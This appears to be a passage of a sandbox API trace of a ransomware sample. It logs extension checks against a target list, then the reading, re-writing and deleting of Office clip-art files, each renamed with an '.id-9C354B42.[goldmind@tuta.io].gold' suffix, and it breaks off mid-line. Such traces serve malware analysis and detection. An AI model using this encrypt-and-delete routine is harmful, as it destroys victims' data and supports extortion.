[0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".1cd") returned 4 [0096.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".jpg") returned 4 [0096.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.955] lstrlenW (lpString=".doc") returned 4 [0096.955] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".docx") returned 5 [0096.955] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.955] lstrlenW (lpString=".pdf") returned 4 [0096.955] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.955] lstrlenW (lpString=".xls") returned 4 [0096.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.956] lstrlenW (lpString=".xlsx") returned 5 [0096.956] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.956] lstrlenW (lpString=".ppt") returned 4 [0096.956] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.956] lstrlenW (lpString=".zip") returned 4 [0096.956] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.956] lstrlenW (lpString=".rar") returned 4 [0096.956] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.956] lstrlenW (lpString=".bz2") returned 4 [0096.956] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.956] lstrlenW (lpString=".7z") returned 3 [0096.956] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.956] lstrlenW (lpString=".dbf") returned 4 [0096.956] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.956] lstrlenW (lpString=".1cd") returned 4 [0096.956] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF") returned 63 [0096.956] lstrlenW (lpString=".jpg") returned 4 [0096.956] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.956] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.956] lstrlenW (lpString="HH00276_.WMF") returned 12 [0096.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.956] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3016) returned 1 [0096.956] CloseHandle (hObject=0x3c4) returned 1 [0096.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 0x20 [0096.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.957] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.957] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.957] GetLastError () returned 0x0 [0096.957] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xbc8, lpOverlapped=0x0) returned 1 [0096.959] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0096.960] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.960] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.960] SetEndOfFile (hFile=0x3c0) returned 1 [0096.960] CloseHandle (hObject=0x3c0) returned 1 [0096.960] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.960] SetEndOfFile (hFile=0x3c4) returned 1 [0096.962] CloseHandle (hObject=0x3c4) returned 1 [0096.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.962] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf")) returned 1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString=".doc") returned 4 [0096.963] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString=".docx") returned 5 [0096.963] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.963] lstrlenW (lpString=".pdf") returned 4 [0096.963] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString=".xls") returned 4 [0096.963] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.963] lstrlenW (lpString=".xlsx") returned 5 [0096.963] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.963] lstrlenW (lpString=".ppt") returned 4 [0096.963] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString=".zip") returned 4 [0096.963] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.963] lstrlenW (lpString=".rar") returned 4 [0096.963] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString=".bz2") returned 4 [0096.963] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString=".7z") returned 3 [0096.963] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString=".dbf") returned 4 [0096.963] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString=".1cd") returned 4 [0096.963] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.963] lstrlenW (lpString=".jpg") returned 4 [0096.963] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.963] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString=".doc") returned 4 [0096.964] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString=".docx") returned 5 [0096.964] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.964] lstrlenW (lpString=".pdf") returned 4 [0096.964] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString=".xls") returned 4 [0096.964] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.964] lstrlenW (lpString=".xlsx") returned 5 [0096.964] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.964] lstrlenW (lpString=".ppt") returned 4 [0096.964] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString=".zip") returned 4 [0096.964] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.964] lstrlenW (lpString=".rar") returned 4 [0096.964] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString=".bz2") returned 4 [0096.964] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString=".7z") returned 3 [0096.964] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString=".dbf") returned 4 [0096.964] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString=".1cd") returned 4 [0096.964] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.964] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF") returned 63 [0096.964] lstrlenW (lpString=".jpg") returned 4 [0096.964] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.964] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.965] lstrlenW (lpString="HH00334_.WMF") returned 12 [0096.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.965] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=1528) returned 1 [0096.965] CloseHandle (hObject=0x3c4) returned 1 [0096.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 0x20 [0096.965] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.966] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.966] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.966] GetLastError () returned 0x0 [0096.966] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x5f8, lpOverlapped=0x0) returned 1 [0096.969] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x600, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x600, lpOverlapped=0x0) returned 1 [0096.969] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.969] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.970] SetEndOfFile (hFile=0x3c0) returned 1 [0096.970] CloseHandle (hObject=0x3c0) returned 1 [0096.970] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.970] SetEndOfFile (hFile=0x3c4) returned 1 [0096.971] CloseHandle (hObject=0x3c4) returned 1 [0096.971] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf")) returned 1 [0096.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.972] lstrlenW (lpString=".doc") returned 4 [0096.972] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.972] lstrlenW (lpString=".docx") returned 5 [0096.972] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.972] lstrlenW (lpString=".pdf") returned 4 [0096.972] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.972] lstrlenW (lpString=".xls") returned 4 [0096.972] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.972] lstrlenW (lpString=".xlsx") returned 5 [0096.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.973] lstrlenW (lpString=".ppt") returned 4 [0096.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".zip") returned 4 [0096.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.973] lstrlenW (lpString=".rar") returned 4 [0096.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".bz2") returned 4 [0096.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".7z") returned 3 [0096.973] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".dbf") returned 4 [0096.973] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".1cd") returned 4 [0096.973] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".jpg") returned 4 [0096.973] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".doc") returned 4 [0096.973] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".docx") returned 5 [0096.973] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.973] lstrlenW (lpString=".pdf") returned 4 [0096.973] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".xls") returned 4 [0096.973] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.973] lstrlenW (lpString=".xlsx") returned 5 [0096.973] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.973] lstrlenW (lpString=".ppt") returned 4 [0096.973] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.973] lstrlenW (lpString=".zip") returned 4 [0096.973] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.973] lstrlenW (lpString=".rar") returned 4 [0096.973] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".bz2") returned 4 [0096.973] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.973] lstrlenW (lpString=".7z") returned 3 [0096.974] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.974] lstrlenW (lpString=".dbf") returned 4 [0096.974] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.974] lstrlenW (lpString=".1cd") returned 4 [0096.974] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF") returned 63 [0096.974] lstrlenW (lpString=".jpg") returned 4 [0096.974] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.974] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.974] lstrlenW (lpString="HH00443_.WMF") returned 12 [0096.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.975] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=3298) returned 1 [0096.976] CloseHandle (hObject=0x3c4) returned 1 [0096.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 0x20 [0096.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0096.976] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.976] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0096.979] GetLastError () returned 0x0 [0096.979] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0xce2, lpOverlapped=0x0) returned 1 [0096.986] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xcf0, lpOverlapped=0x0) returned 1 [0096.987] ReadFile (in: hFile=0x3c4, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.987] WriteFile (in: hFile=0x3c0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.987] SetEndOfFile (hFile=0x3c0) returned 1 [0096.987] CloseHandle (hObject=0x3c0) returned 1 [0096.987] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.987] SetEndOfFile (hFile=0x3c4) returned 1 [0096.989] CloseHandle (hObject=0x3c4) returned 1 [0096.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.989] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf")) returned 1 [0096.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.990] lstrlenW (lpString=".doc") returned 4 [0096.990] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.990] lstrlenW (lpString=".docx") returned 5 [0096.990] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.990] lstrlenW (lpString=".pdf") returned 4 [0096.990] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.990] lstrlenW (lpString=".xls") returned 4 [0096.990] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.990] lstrlenW (lpString=".xlsx") returned 5 [0096.990] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.990] lstrlenW (lpString=".ppt") returned 4 [0096.990] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.990] lstrlenW (lpString=".zip") returned 4 [0096.990] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.990] lstrlenW (lpString=".rar") returned 4 [0096.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".bz2") returned 4 [0096.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString=".7z") returned 3 [0096.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".dbf") returned 4 [0096.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".1cd") returned 4 [0096.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF") returned 63 [0096.991] lstrlenW (lpString=".jpg") returned 4 [0096.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.991] lstrlenW (lpString="C:\\Program Files\\Microsoft 